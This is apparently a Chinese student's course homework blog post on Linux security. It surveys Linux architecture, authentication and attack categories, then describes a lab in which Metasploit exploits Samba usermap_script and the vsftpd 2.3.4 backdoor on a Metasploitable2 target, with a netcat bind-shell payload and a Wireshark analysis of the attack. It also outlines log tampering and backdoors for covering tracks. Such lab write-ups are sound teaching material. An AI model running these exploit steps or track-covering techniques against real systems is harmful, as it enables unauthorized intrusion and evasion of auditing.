20199115 2019-2020-2 《网络攻防实践》第八周作业

20199115 2019-2020-2 《网络攻防实践》第八周作业

Linux操作系统攻防

1.实践内容

Linux操作系统基本框架概述

Linux系统结构

  • Linux进程与线程管理机制
    Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块
    来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制
    块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选
    择进程进行执行。

  • Linux的内存管理机制
    Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。

  • Linux的文件系统管理机制
    虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。

  • Linux的设备控制机制
    处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。

  • Linux的网络机制

网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。

  • Linux的系统调用机制
    Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。

Linux操作系统安全机制

Linuxs身份认证机制

  • Linux用户(用户信息保存在系统的/etc/passwd文件中,加密口令字则存放千/etc/shadow文件中):

    • Root根用户, 权限最高, 可以操作系统中 任何的文件与命令

    • 普通用户, 由使用者创建, 只能操作自己目录中的内容, 执行权限受限

    • 系统用户,这类用户不具有登录系统的能力,但却是系统运行不可缺少的用户

  • Linux用户组(用户组信息保存在系统的/etc/group文件中,用户组加密口令字则保存在/etc/gshadow文件中):具有相同特征的用户账号集合。

  • Linux的本地登录用户认证机制:由init进程启动getty产生若干个虚拟控制台(如ttyI, tty2等)。 在控制台上显示登录,当用户敲入用户时,getty执行登录(login)进程, 进入登录认证过程, 认证成功后, 登录进程会fork相应用户 Shell的子进程, 至此宪成登录过程, 用户可以在对应的 Shell下开始工作。

  • Linux的远程登录用户认证机制:inux系统普遍使用SSH服务来进行远程用户登录与网络访问, SSH提供两种方式的用户身份认证机制: 第一种方式为基千口令的身份认证 ;第二种方式为基千非对称密钥的身份认证。

  • Linux的统一身份认证中间件一一PAM:PAM通过动态链接库和一套统一的api,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式而无须更改服务程序, 同时也便于向系统中添加新的认证手段。

Linux授权与访问控制机制

  • 文件所有者:linux把所有的东西都看成文件。每个linux文件都有其所有者。可以通过chown命令来改变文件的所有者。

  • 访问权限:linux文件的详细描述可以看出10个标志位。第一个标志位代表文件的类型,之后9个标志位3个为一组。例如第一组为rwx,意思是所有者用拥有读(r)写(w)执行(x)的权限。第二组第三组分别为同组内其他用户的权限,其他用户的权限。如果没有权限,用-表示。如r--,意思是只有读的权限。

  • 执行权限:上面说的除了读写之外还有一个执行权限,常见的是SUID和SGID权限。SUID是党执行者再执行权限的时候,会将自己的权限提升到所有者的权限。如果说一个文件设置了SUID位,而这个文件的所有者是root,那某个用户在执行这个文件的时候,就有了root文件权限。

Linux安全审计机制

  • 主要通过三个日志子系统来实现

    • 连接时间日志 由多个程序执行,使系统管理员能够跟组谁在何时登录到系统

    • 进程统计日志 当一个进程终止时,为每个进程往进程统计文件中写一个记录

    • 错误日志记录 由通用日志记录服务执行

Linux系统远程攻防技术

Linux远程口令字猜测攻击

  • 利用Linux系统上的finger、rusers和sendmail之类的服务列举出目标系统上的用户账户名,即可猜测相关口令

  • Linux系统上的HTTP/HTTPS、FTP等网络服务拥有自己的用户账户体系和身份认证机制,可通过远程口令猜测获得网络服务的访问权,从而获取系统的本地访问权。

  • 远程猜测口令工具常用的有Brutus、THC Hydra、Cain and Abel等。

  • 对于远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字

Linux网络服务远程渗透

  • 最重要的攻击渠道:对监听网络服务安全漏洞的渗透利用

  • 主要包括

    • Linux内核中的网络协议栈攻击

    • LAMP WEB网站中的网络服务攻击

    • FTP、Samba等文件共享服务攻击

    • 电子邮件收发服务攻击

    • 其他网络服务的攻击:如OpenSSH、Openssl、NFS等

  • 防范措施包括:

    • 禁用所有不必要的网络服务

    • 尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署

    • 及时更新网络服务版本

    • 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制

    • 建立入侵检测与应急响应计划流程

攻击Linux客户端程序和用户

  • 攻击Linux平台的客户端程序

    • 常用web浏览器攻击和电子邮件客户端攻击

  • 攻击Linux系统用户

    • 对服务器管理员进行Google hacking获取管理员各方面信息
  • 防范措施

    • 及时更新软件

    • 提高自身抗欺骗能力

    • 在下载软件的时候通过官方下载渠道,并校验MD5

攻击Linux路由器和监听器

  • 攻击Linux路由器和防火墙

    • 路由器模式运行时,可能被攻击者利用实施拒绝服务攻击

  • 攻击监听器&入侵检测器

    • 开源软件主要包括libpcap抓包库、tcpdump命令行程序、wireshark、snort等

  • 针对路由器与监听器攻击的安全防范措施

    • 网络管理员建立一种安全对抗与博弈的意识

    • 意识到网络与安全设备的自身的安全性与可用性

    • 站在攻击者角度尝试进行渗透攻击测试

Linux系统本地安全攻防技术

Linux本地特权提升

  • 最简单的特权提升途径就是能够破解出Root 用户的口令,然后执行 SU 或sudo命令进行提升

  • 第二种特权提升途径是发掘并利用 SU 或sudo程序中的安全漏洞

  • 目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行淄洞,让它们替攻击者打开具有Root权限的Shell命令行连接,这类 途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞

  • 最后一种本地特权提升技术则利用了系统中的一些配置不当, 通过从系统中搜索全局 可写的敏感文件与目录位置并加以利用

Linux系统上的消踪灭迹

  • 查看/etc/syslog.conf 配省文件内容,来了解系统当前正在实施的审计事件类型以及日志的存储位置

  • 在/var/log 目录下攻击者往往需要改动 messages、 authe、cure、 wtmp 和 xferlog 等日志文件

  • 攻击者还而要清理的是自己在 Shell 程序中所输入的命令历史记录, Linux 系统中的很多 Shell 程序都记录运行过的历史命令, 以提供检索和重复执行命令的功能

Linux系统远程控制后门

  • 主要类型有:

    • 特洛伊木马化的系统程序

    • 命令行后门工具:提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统

    • shell与客户端进行交互。

    • 图形化后门工具:最为常用的是图形化远程控制免费软件VNC。

2.实践过程

动手实践: 使用Metasploit进行Linux远程渗透攻击

使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script 安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

(1)启动Metasploit软件,可根据个人喜好使用msfconsole. msfgui. msfweb之一;

(2)使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;

(3)选择攻击PAYLOAD为远程Shell, (正向或反向连接均可);

(4)设置渗透攻击参数(RHOST, LHOST,TARGET 等);

(5)执行渗透攻击:

(6)查看是否正确得到远程Shell,并查看获得的权限。

主机 IP地址
kali 192.168.200.2
Metasploitable2 192.168.200.125

使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script 安全漏洞,获取目标Linux靶机的主机访问权限

  • kali中输入msfconsole

  • 渗透攻击,输入use exploit/multi/samba/usermap_script选择针对usermap_script 漏洞的渗透攻击模块,查看可用载荷,输入show payloads

  • 然后执行set payload cmd/unix/bind_netcat使用netcat工具在渗透攻击成功后执行Shell,并通过netcat绑定在一个监听端口。

  • 查看需要配置的参数,输入show options ,配置目标主机IP set RHOST 192.168.200.125

  • 启动攻击输入exploit,看到已经取得了靶机的root权限

实践作业:攻防对抗实验

  • 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。

  • 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP和端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。

  • 首先,使用nmap扫描端口nmap -p0-65535 -sV 192.168.200.4

  • 查看一番后,我们就来看看第一个vsftpd-2.3.4,vsftpd-2.3.4早期版本存在恶意的后门 ,那么我们就用nmap --script=vuln 192.168.200.125 检查一下是否存在常见漏洞。果然

  • 使用use exploit/unix/ftp/vsftpd_234_backdoor渗透攻击模块,然后看一下他的参数,设置攻击参数,RHOST为靶机地址set RHOST 192.168.200.125。

  • 直接使用参数exploit攻击

防守方

  • 通过对数据包流量及数据包内容的分析,可以看出攻击者IP 192.168.200.2,目标IP:192.168.200.125,端口在21端口上。

  • 攻击发起时间由图可知,从编号3开始,攻击机开始尝试连接靶机的21端口

  • 攻击利用的漏洞:一开始我针对攻击的目标端口是21,这是针对Vsftpd 2.3.4漏洞的攻击。

  • 使用的shellcode,在wireshark抓包的过程中我们可以看到shellcode,先id确定自己的权限,之后nohup >/dev/null 2>&1,将标准输出以及错误输出一起重定向到/dev/null,之后对 echo echo cZyuPTDirlCot0aE写入一个东西,进一步获取相关权限

  • 攻击之后本地执行的指令:从抓包的流可以看出来攻击者的每一条命令。明文传输的指令whoami和ls。

3.学习中遇到的问题及解决

  • 问题: 想找个常见漏洞。。一开始无从下手啊!
  • 问题解决方案:nmap真是个百科全书啊!

4.实践总结

有了上一次的实践经历,这次感觉还阔以。。。

参考资料

猜你喜欢

转载自www.cnblogs.com/dsqblog/p/12740340.html
今日推荐